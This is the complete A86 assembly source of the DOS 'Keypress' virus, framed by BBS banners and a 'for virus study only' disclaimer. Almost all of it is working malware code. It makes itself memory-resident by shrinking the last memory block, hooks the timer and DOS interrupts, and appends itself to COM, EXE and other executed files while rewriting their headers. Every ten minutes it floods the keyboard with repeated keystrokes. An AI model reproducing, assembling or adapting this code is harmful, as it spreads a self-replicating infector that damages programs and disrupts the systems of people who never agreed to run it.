Keypress Virus Source Code

;****************************************************************************;
;                                                                            ;
;                     -=][][][][][][][][][][][][][][][=-                     ;
;                     -=]  P E R F E C T  C R I M E  [=-                     ;
;                     -=]      +31.(o)79.426o79      [=-                     ;
;                     -=]                            [=-                     ;
;                     -=] For All Your H/P/A/V Files [=-                     ;
;                     -=]    SysOp: Peter Venkman    [=-                     ;
;                     -=]                            [=-                     ;
;                     -=]      +31.(o)79.426o79      [=-                     ;
;                     -=]  P E R F E C T  C R I M E  [=-                     ;
;                     -=][][][][][][][][][][][][][][][=-                     ;
;                                                                            ;
;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
;                                                                            ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
; Around Among the General Public. It Will be Very Useful for Learning how   ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
; Is. Keep This Code in Responsible Hands!                                   ;
;                                                                            ;
;****************************************************************************;
;********************************************************
; Source code of the Keypress Virus - Made by XSTC
; Made in A86 v3.07
;
; The Keypress Virus installs itself in top of DOS
; memory, without using DOS resident functions. It will
; hook int 1Ch (timer) and 21h (DOS) and will copy every
; 10 minutes during 2 seconds the keys you press five
; times (so if you press '1' it will be '111111') - if
; you press no key, it will usually give ESCs.
;
; In DOS 3+ it spreads to every file executed - so it
; can, besides COM/EXE, infect DRV/OVL/etc.
; It also spreads itself in DOS 1 and 2 with a special
; routine - in this case only COM/EXE files will be
; infected.
;
; It adds, after making full paragraphs of the file
; length, 1232 bytes to COM-files and 1216 to EXE.
;
; This code is only made to show the possibilities and
; dangers of a virus. It is only intended for research
; purposes - spreading a virus is prohibited by law.
;
; NOTE - The compiled code is not 100% compatible with
; the Keypress virus. A86 compiles the 'ADD BX,AX' and
; 'MOV DI,SI' different. This has totally no effect
; on the program.
;********************************************************

; After compiling the new virus, enter the new size in paragraphs in VirParSize
; and compile again.

VirParSize    equ 4Ch                      ; Size of the original KeyPress virus

VirStart:     jmp long VirBegin
              db 0

ComStart:     mov bx,cs               ; When the virus has infected a .COM file,
              add bx,[102h]           ; this is the jump to the virus. Actually,
              push bx                   ; this code is overwritten with the code
              mov bx,offset VirBegin                  ; in the end of the virus.
              push bx
              retf

EB02          dw 02EBh                  ; 'jmp 104' - first 2 bytes in .COM file

VirSize       dw VirParSize shl 4                  ; Size of virus in whole pars

VirPars       dw VirParSize + 1                        ; Size of virus in pars+1

MaxComSize    dw 0FF00h-VirParSize  ; Max. size .COM file to infect (100h stack)

Com_or_exe    db 00h                                ; 0 = Com-File, 1 = Exe-File
R_Ax          dw (?)
R_Bx          dw (?)
R_Cx          dw (?)
R_Dx          dw (?)
R_Di          dw (?)
R_Si          dw (?)
R_Bp          dw (?)
R_Es          dw (?)
R_Ds          dw (?)
R_SS          dw (?)
R_SP          dw (?)

Exe_CS        dw (?)
Exe_IP        dw (?)


VirBegin:     call Save_Regs                                    ; Start of virus
              call Fix_cs_ss      ; Fix CS and SS of orig. prog (for .EXE files)
              call Get_cs_ip                    ; Get CS and IP of original prog
              call Check_res                      ; Check virus already resident
              jb Exit_inst                                           ; Yes, quit

              call Inst_mem                                  ; Install in memory
              jb Exit_inst                                         ; Error, quit

              call Inst_ints                                   ; Hook interrupts
Exit_Inst:    jmp short Rst_regs_prg
              nop

Jmp_Prg:      db 0EAh                                 ; Jump to original program
PrgOfs        dw (?)
PrgSeg        dw (?)

Check_res:    push ds
              xor bx,bx
              mov ds,bx
              mov bx,600h                                ; Unused word in memory
              cmp word ptr [bx],1                           ; Already installed?
              jz Installed                                                 ; Yes

              mov word ptr [bx],1                                           ; No
              stc

Installed:    cmc
              pop ds
              ret


;*** For .EXE: Fix orig-prog CS and SS ***

Fix_cs_ss:    test byte ptr [Com_or_exe],1
              jz no_exe

              mov ax,es
              add ax,10h
              add Exe_cs,ax
              add R_ss,ax

No_Exe:       ret


;*** Get CS + IP of orig. program, and for .COM: Restore first 16 bytes ***

Get_cs_ip:    mov ax,[Exe_cs]
              mov bx,[Exe_ip]
              test byte ptr [Com_or_exe],1
              jnz No_rest                 ; .EXE file: no restore of first bytes

              mov ax,es
              mov bx,100h
              mov cx,10h
              mov si,offset First_bytes
              mov di,100h
              cld
              repz                          ; Restore first 16 bytes (.COM file)
              movsb

No_rest:      mov [Prgseg],ax
              mov [Prgofs],bx
              ret


;*** Proc: Save the registers to restore them after the virus has ended ***

Save_Regs:    mov cs:R_ds,ds
              push cs
              pop ds
              mov R_ax,ax
              mov R_bx,bx
              mov R_cx,cx
              mov R_dx,dx
              mov R_di,di
              mov R_si,si
              mov R_bp,bp
              mov R_es,es
              ret


;*** Restore regs for original program ***

Rst_regs_prg: mov ax,R_ax
              mov bx,R_bx
              mov cx,R_cx
              mov dx,R_dx
              mov bp,R_bp
              mov di,R_di
              mov si,R_si
              mov es,R_es
              test byte ptr [Com_or_exe],1
              jz No_StackRest                  ; No stack restore for .COM files

              cli
              mov ss,[R_ss]                                 ; Restore .EXE stack
              mov sp,[R_sp]
              sti

No_StackRest: mov ds,R_ds
              jmp short jmp_prg


;*** Restore regs for interrupts ***

Rst_regs_int: mov ax,R_ax
              mov bx,R_bx
              mov cx,R_cx
              mov dx,R_dx
              mov bp,R_bp
              mov di,R_di
              mov si,R_si
              mov es,R_es
              mov ds,R_ds
              ret


;*** Proc: Search for last MCB ***

Last_MCB:     push ds
              mov bx,es
              dec bx

Next_MCB:     mov ds,bx
              cmp byte ptr [0],5Ah                                   ; Last MCB?
              jz Is_last                                                   ; Yes
              inc bx
              add bx,[3]                                            ; Go to next
              cmp bx,0A000h                                            ; In ROM?
              jb Next_MCB                                     ; No, try next one

Is_Last:      pop ds
              ret


;*** Proc: Install virus in end of memory ***

Inst_Mem:     call Last_mcb                                    ; Search last MCB
              cmp bx,0A000h                                            ; In ROM?
              jb Not_ROM                                          ; No, continue

No_Inst:      push cs                                                ; Yes, quit
              pop ds
              stc                                   ; Error, virus not installed
              ret

Not_ROM:      mov ds,bx
              mov ax,[3]                                    ; AX = Size last MCB
              sub ax,cs:[VirPars]                      ; - (Virussize in pars+1)
              jbe no_inst                              ; Not enough memory, quit
              cmp ax,800h
              jb no_inst                        ; Less than 2048 pars free, quit
              mov [3],ax              ; Give program less space to install virus
              add bx,ax
              inc bx                                ; BX = seg where virus comes
              mov es:[2],bx            ; Enter in PSP, program not allowed there
              sub bx,10h                     ; - 10h pars (virus starts at 100h)
              push bx
              push cs
              pop ds
              pop es
              mov si,100h
              mov di,si
              mov cx,[VirSize]                                  ; CX = virussize
              cld
              repz                                 ; Copy virus to virus-segment
              movsb
              clc                                    ; No error, virus installed
              ret


;*** Install new interrupts (1C - Timer Tick, 21 - DOS) ***

Inst_Ints:    push es
              pop ds
              mov word ptr [Ticks],0
              mov ax,351Ch                                 ; Get Addr Timer Tick
              int 21h
              mov I1c_ofs,bx
              mov I1c_seg,es
              mov ax,3521h                                    ; Get Addr DOS-Int
              int 21h
              mov I21_ofs,bx
              mov I21_seg,es
              mov ax,251Ch
              mov dx,offset New_I1c
              int 21h                               ; Install New Timer-Tick Int
              mov dx,offset I21_dos12
              push dx
              mov ah,30h                                       ; Get DOS-Version
              int 21h
              pop dx
              cmp al,3                                              ; Below 3.0?
              jb DosBel3
              mov dx,offset new_I21                                ; No, new int
DosBel3:      mov ax,2521h                                 ; Install new DOS-Int
              int 21h
              push cs
              pop ds
              ret


;*** Proc: NEW 1C (TIMER TICK) INTERRUPT ***
; Every 10 minutes this routine sends during 2 sec. 180 extra keys to the
; keyboard-interrupt.

Ticks         dw (?)

New_I1c:      inc word ptr cs:[Ticks]     ; Increment 'Ticks after virus loaded'
              cmp word ptr cs:[Ticks],2A30h                 ; 10 minutes passed?
              jb org_I1c                                   ; No, go to orig. I1c
              cmp word ptr cs:[Ticks],2A54h                     ; 2 sec. passed?
              jbe screw_keys                                ; Not yet, give ESCs
              mov word ptr cs:[Ticks],0                      ; Time-counter to 0
              jmp short Org_I1c                                ; Go to orig. I1c
Screw_Keys:   push cx
              mov cx,5                                          ; 5 times / tick
Put_Key:      int 9                                             ; Give extra key
              loop Put_key
              pop cx
Org_I1c:      db 0EAh                                    ; Jump far to orig. I1c
I1c_Ofs       dw (?)
I1c_Seg       dw (?)

New_I24:      mov al,0

New_I23:      iret

I23_Ofs       dw (?)
I23_Seg       dw (?)

I24_Ofs       dw (?)
I24_Seg       dw (?)

ProgSize      dw (?)                                ; Program size in paragraphs

New_I21:      cmp ax,4B00h                             ; New DOS Int for DOS 3 +
              jz Is_Start
              jmp far dword ptr cs:[I21_Ofs]                    ; Jmp orig. I 21
Is_Start:     call Save_Regs
              call InstCritInt               ; Install new ^c and crit. err. int
              mov ax,3D02h                        ; Open file for read and write
              mov ds,R_Ds
              int 21h
              push cs
              pop ds
              jc Close_File
              mov bx,ax
              call Read_header
              jc Close_File
              call Write_virus
              jc Close_File
              call Write_header
Close_File:   mov ah,3Eh                                            ; Close file
              int 21h
              call RestCritInt                    ; Restore ^c and crit-err ints
              call Rst_regs_int
              jmp far dword ptr cs:[I21_Ofs]

I21_Dos12:    cmp ah,3Dh                       ; New DOS-Int for DOS 1.x and 2.x
              jz Is_Open

JmpDos:       db 0EAh                                                 ; Jump Far
I21_Ofs       dw (?)
I21_Seg       dw (?)

Is_Open:      push ax                                           ; Network-flags?
              and al,0FCh
              pop ax
              jnz JmpDos                                            ; Yes -> DOS

              call Save_Regs

              call InstCritInt               ; Install new ^c and crit. err. int

              mov DS,R_Ds
              or al,2                                             ; Write access
              pushf
              cli
              call far cs:[I21_Ofs]                                  ; Open file
              push cs
              pop ds
              jc Open_Error                               ; Error opening -> DOS

              pushf
              mov [R_Ax],ax                                        ; Save handle
              mov bx,ax

              call Chk_Inf                         ; Check infection is possible
              jc No_Infect                                          ; No -> quit

              call Read_header
              jc No_Infect

              call Write_virus
              jc No_Infect
              call Write_header
No_Infect:    call Go_file_beg                             ; Go to begin of file
              call RestCritInt                    ; Restore ^c and crit-err ints
              call Rst_regs_int
              popf
              retf 2
Open_Error:   call RestCritInt                    ; Restore ^c and crit-err ints
              call Rst_regs_int
              jmp short JmpDos


;*** Proc: Buffer for header of program to infect ***

Head_buf      dw 0Ch dup (?)


;*** Proc: Install new ^C and crit. err. interrupt ***

InstCritInt:  push ax
              push bx
              push dx
              push ds
              push es
              push cs
              pop ds
              mov ax,3523h                             ; Get Ctrl-Break Int Addr
              int 21h
              mov I23_Ofs,bx
              mov I23_Seg,es
              mov ax,3524h                              ; Get Crit. Err Int Addr
              int 21h
              mov I24_Ofs,bx
              mov I24_Seg,es
              mov ax,2523h
              mov dx,offset New_I23                 ; Install new Ctrl-Break Int
              int 21h
              mov ax,2524h                           ; Install new Crit. Err Int
              mov dx,offset New_I24
              int 21h
              pop es
              pop ds
              pop dx
              pop bx
              pop ax
              ret


;*** Proc: Restore orig. ctrl-break and crit. err. interrupt ***

RestCritInt:  mov ax,2524h                           ; Rest. orig. crit. err int
              lds dx,dword ptr cs:[I24_Ofs]
              int 21h
              mov ax,2523h                          ; Rest. orig. ctrl-break int
              lds dx,dword ptr cs:[I23_Ofs]
              int 21h
              push cs
              pop ds
              ret


;*** Read header of file ***

Read_header:  mov ah,3Fh
              mov dx,offset Head_buf
              mov cx,18h
              int 21h
              jc HeadRead_Err                      ; Error reading, don't infect

              call Check_infect ; Check file already infected; if not, save data
              jc HeadRead_Err                                      ; Error, quit

              call Calc_data                  ; Calculate data for infected file
              jc HeadRead_Err                                      ; Error, quit

HeadRead_Err: ret


;*** Proc: Write virus, and for .COM files, write first 16 bytes behind virus ***

Write_virus:  mov ah,40h                            ; Write virus behind program
              mov cx,[VirSize]
              mov dx,100h
              int 21h
              jc Err_Writ                                    ; Write error, quit
              cmp ax,cx
              jnz Err_Writ                                   ; '   ' '   '  '  '
              test byte ptr [Com_or_exe],1
              jz First_Write
              ret

First_Write:  mov ah,40h                 ; Write orig. 1st 16 bytes behind virus
              mov cx,10h
              mov dx,offset Head_buf
              int 21h
              jc Err_Writ                                    ; Write error, quit
              cmp ax,cx
              jnz Err_Writ                                   ; '   ' '   '  '  '
              clc                                      ; End procedure, no error
              ret

Err_Writ:     stc                                         ; End procedure, error
              ret


;*** Proc: .COM: Write jump-to-virus, .EXE: Write header ***

Write_header: call Go_file_beg                             ; Go to begin of file
              test byte ptr [Com_or_exe],1                          ; .EXE-file?
              jnz Exe_header
              mov ah,40h                             ; .COM file - Write 'EB 02'
              mov cx,2
              mov dx,offset EB02
              int 21h
              mov ah,40h                            ; Write program-size in pars
              mov cx,2
              mov dx,offset ProgSize
              int 21h
              mov ah,40h                          ; Write rest of begin of virus
              mov cx,0Ch
              mov dx,104h
              int 21h
              ret

Exe_header:   mov ah,40h                                         ; Write in File
              mov cx,18h
              mov dx,offset Head_buf
              int 21h
              ret


;*** Proc: Change file pointer ***

Cng_file_ptr: mov ax,4200h
              int 21h
              ret


;*** Proc: Go to begin of file ***

Go_file_beg:  xor cx,cx                                        ; Filepointer = 0
              xor dx,dx
              call Cng_file_ptr                            ; Change File Pointer
              ret


;*** Proc: Check file is already infected ***

Check_infect: mov si,104h
              mov di,offset Head_buf+4
              push cs
              pop es
              mov byte ptr [Com_or_exe],0                        ; Flag for .COM
              cmp word ptr [di-04],5A4Dh                              ; Is .EXE?
              jz Is_Exe
              mov cx,0Ch                                         ; No, .COM file
              cld
              repz                                           ; Already infected?
              cmpsb
              jnz Do_Infect                                            ; Not yet
Dont_Infect:  stc
              ret
Do_Infect:    clc
              ret
Is_Exe:       mov byte ptr [Com_or_exe],1                        ; Flag for .EXE
              mov cx,[offset Head_buf+14h]                        ; cx = Prog-IP
              cmp cx,offset VirBegin                           ; Same as Vir-IP?
              jz Dont_Infect                                         ; Yes, quit
              cmp word ptr [offset Head_buf+0Ch],0           ; Max extra pars=0?
              jz Dont_Infect                                         ; Yes, quit
              mov [Exe_ip],cx                                     ; Save prog-IP
              mov cx,[Head_buf+16h]
              mov [Exe_cs],cx                                     ; Save prog-cs
              mov cx,[Head_buf+0Eh]
              mov [R_ss],cx                                       ; Save prog-SS
              mov cx,[Head_buf+10h]
              mov [R_sp],cx                                       ; Save prog-SP
              jmp short Do_Infect


;*** Proc: Calculate data for infection ***

Calc_data:    mov ax,4202h                                           ; Go to EOF
              xor cx,cx
              xor dx,dx
              int 21h
              test al,0Fh         ; Size mod 16 = 0 (File is exact x paragraps)?
              jz No_par_add                            ; Yes, no extra par added
              add ax,10h                                         ; Add paragraph
              adc dx,0                                      ; Overflow -> Inc dx
              and ax,0FFF0h                                    ; Make paragraphs
No_par_add:   test byte ptr [Com_or_exe],1
              jnz Calc_exe
              or dx,dx
              jnz not_infect
              cmp ax,[maxcomsize]                                ; File too big?
              ja not_infect                                          ; Yes, quit
              cmp ax,[VirSize]                                 ; File too small?
              jbe Not_Infect                                         ; Yes, quit
              mov [ProgSize],ax                              ; Save program-size
              mov cl,4
              shr word ptr [ProgSize],cl                         ; In paragraphs
              mov dx,ax
              xor cx,cx
              call Cng_file_ptr                                      ; Go to EOF
              clc
              ret
Not_Infect:   stc
              ret

Calc_exe:     push ax
              push dx
              add ax,100h                                      ; 100 bytes stack
              adc dx,0                                       ; Overflow - inc dx
              mov cx,dx
              mov dx,ax
              call Cng_file_ptr                                      ; Go to EOF
              push bx
              add ax,[VirSize]                                  ; New exe-length
              adc dx,0
              mov bx,200h                                    ; For header: / 512
              div bx
              or dx,dx
              jz No_Correct
              inc ax          ; Files below 2.000.000h bytes - length correction
No_Correct:   mov [Head_buf+2],dx                         ; Save new file-length
              mov [Head_buf+4],ax                         ; '  ' ' ' '  ' '    '
              pop bx
              pop dx
              pop ax
              call Calc_cs_ss
              mov word ptr [Head_buf+10h],100h                    ; Prog-SP=100h
              mov word ptr [Head_buf+14h],offset VirBegin          ; Set prog-IP
              clc
              ret


;*** Proc: Calculate new CS and SS for .EXE file ***

Calc_cs_ss:   push cx
              mov cx,4
Cs_ss_lp:     shr dx,1
              rcr ax,1
              loop Cs_ss_lp
              sub ax,[Head_buf+8]                               ; Size of header
              sbb dx,0
              mov [Head_buf+0Eh],ax                               ; Save prog-SS
              mov [Head_buf+16h],ax                               ; Save prog-cs
              pop cx
              ret


;*** Check infection is possible ***

Chk_Inf:      call Chk_exec                           ; Check file is executable
              jb Not_exec
              call Get_attr                         ; Check file has no SYS attr
Not_Exec:     ret


;*** Search-paths ***

Com_path      db '.COM',0

Exe_path      db '.EXE',0


;*** Check file is executable (.COM / .EXE)

Chk_Exec:     push es
              mov es,R_ds
              mov di,dx
              xor al,al
              mov cx,80h
              cld
              repnz                                                 ; Search '.'
              scasb
              jnz not_inf                                         ; No '.' found
              dec di
              push di
              mov si,offset Com_path+4
              mov cx,4
              std
              repz                                                ; Check '.COM'
              cmpsb
              pop di
              jnz no_com                                               ; No .COM
              clc
              jmp short Infect
              nop
Not_Inf:      stc

Infect:       cld
              pop es
              ret
No_Com:       mov si,offset Exe_path+4
              mov cx,4
              repz                                                ; Check '.EXE'
              cmpsb
              jnz not_inf                      ; No .EXE either - not executable
              clc
              jmp short infect

Get_Attr:     push ds
              mov ax,4300h                                        ; Get FileAttr
              xor cx,cx
              mov ds,R_ds
              int 21h
              pop ds
              jb Bad_Attr                                 ; Error - don't infect
              test cx,4                                           ; System-Attr?
              jnz Bad_Attr                                   ; Yes, don't infect
              clc
              ret

Bad_Attr:     stc
              ret

First_bytes:  int 20h     ; First bytes of orig. program - here just 'Go to DOS'
              dw (?)
              mov bx,cs                                   ; Overwrites the begin
              add bx,[102h]
              push bx
              mov bx,offset VirBegin
              push bx
              retf

;****************************************************************************;
;                                                                            ;
;                     -=][][][][][][][][][][][][][][][=-                     ;
;                     -=]  P E R F E C T  C R I M E  [=-                     ;
;                     -=]      +31.(o)79.426o79      [=-                     ;
;                     -=]                            [=-                     ;
;                     -=] For All Your H/P/A/V Files [=-                     ;
;                     -=]    SysOp: Peter Venkman    [=-                     ;
;                     -=]                            [=-                     ;
;                     -=]      +31.(o)79.426o79      [=-                     ;
;                     -=]  P E R F E C T  C R I M E  [=-                     ;
;                     -=][][][][][][][][][][][][][][][=-                     ;
;                                                                            ;
;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
;                                                                            ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
; Around Among the General Public. It Will be Very Useful for Learning how   ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
; Is. Keep This Code in Responsible Hands!                                   ;
;                                                                            ;
;****************************************************************************;